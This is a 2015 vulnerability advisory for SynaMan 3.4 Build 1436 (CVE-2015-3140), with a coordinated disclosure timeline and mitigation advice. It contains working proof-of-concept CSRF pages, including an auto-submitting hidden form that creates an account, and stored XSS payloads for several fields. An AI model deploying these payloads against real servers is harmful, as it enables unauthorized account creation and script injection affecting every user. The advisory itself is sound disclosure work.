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SynaMan 3.4 Build 1436 CSRF / Cross Site Scripting

SynaMan 3.4 Build 1436 CSRF / Cross Site Scripting
Posted May 8, 2015
Authored by Marlow Tannhauser

SynaMan version 3.4 build 1436 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
advisories | CVE-2015-3140
MD5 | 97fc2fb1d9b9d5f29b42643818455ce8

SynaMan 3.4 Build 1436 CSRF / Cross Site Scripting

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# Exploit Title: Multiple vulnerabilities in SynaMan 3.4 Build 1436 (CSRF/Stored XSS)
# Date: 07-05-2015
# Exploit Author: Marlow Tannhauser
# Contact: marlowtannhauser@gmail.com
# Vendor Homepage: http://www.synametrics.com
# Software Link: http://web.synametrics.com/SynaManDownload.htm
# Version: 3.4 Build 1436. Earlier versions may also be affected.
# CVE: 2015-3140
# Category: Web apps


# DISCLOSURE TIMELINE #
08/02/2015: Initial disclosure to vendor and CERT
09/02/2015: Acknowledgment of vulnerabilities from vendor
11/02/2015: Disclosure deadline of 01/03/2015 agreed with vendor
19/02/2015: Disclosure deadline renegotiated to 01/04/2015 at vendor's request
09/04/2015: Disclosure deadline renegotiated to 20/04/2015 at vendor's request
20/04/2015: Confirmation of fix from vendor
07/05/2015: Disclosure

Note that the CVE-ID is for the CSRF vulnerability only. No CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable version of the product is no longer available for download from the vendor's webpage.


# EXPLOIT DESCRIPTION #
SynaMan 3.4 Build 1436 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests.


# POC 1 #
The following PoC uses the CSRF vulnerability together with one of the stored XSS vulnerabilities, to create a new shared folder in the application.

<html>
<img src="http://192.168.0.8:6060/app?sharedName=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&selectedPath=C%3A\&publicRead=1&publicWrite=1&operation=mngFolders&st=addFolder" alt="" width="1" height="1">
</html>


# POC 2 #
The following PoC uses the CSRF vulnerability to create a new user with the details shown.

<html>
<body>
<form name="evilform" method="post" action="http://192.168.1.67:6060/app?operation=mngUsers">
<input type="hidden" name="fullName" value="marlow"/>
<input type="hidden" name="login" value="marlow@marlow.com" />
<input type="hidden" name="password" value="marlow" />
<input type="hidden" name="operation" value="mngUsers" />
<input type="hidden" name="st" value="saveUser" />
<input type="hidden" name="oldLogin" value="" />
<input type="hidden" name="modifyUser" value="false" />
</form>
<script type="text/javascript">
document.evilform.submit();
</script>
</body>
</html>


# STORED XSS VULNERABILITIES #
Stored XSS vulnerabilities are present in the following fields:

Managing Shared Folders > Shared folder name field
Example URL: http://192.168.0.8:6060/app?sharedName=%3Cscript%3Ealert%28%22Hello1%22%29%3C%2Fscript%3E&selectedPath=C%3A\&publicRead=1&publicWrite=1&operation=mngFolders&st=addFolder

Manage Users > Add a new user > User's name field and Email/Login field
Example URL: POST request

Advanced Configuration > Partial Branding > Main heading field and Sub heading field
Affects all users on all pages, pre and post authentication
Example URL: POST request

Discovery Wizard > Discovery Service Signup > One-Word name
Example URL: http://192.168.0.8:6060/app?oneword=%3Cscript%3Ealert%28%22Marlow%22%29%3C%2Fscript%3E&x=35&y=21&operation=discovery&st=checkAvailability


# MITIGATION #
Upgrade to the latest build of SynaMan, available from the link shown.

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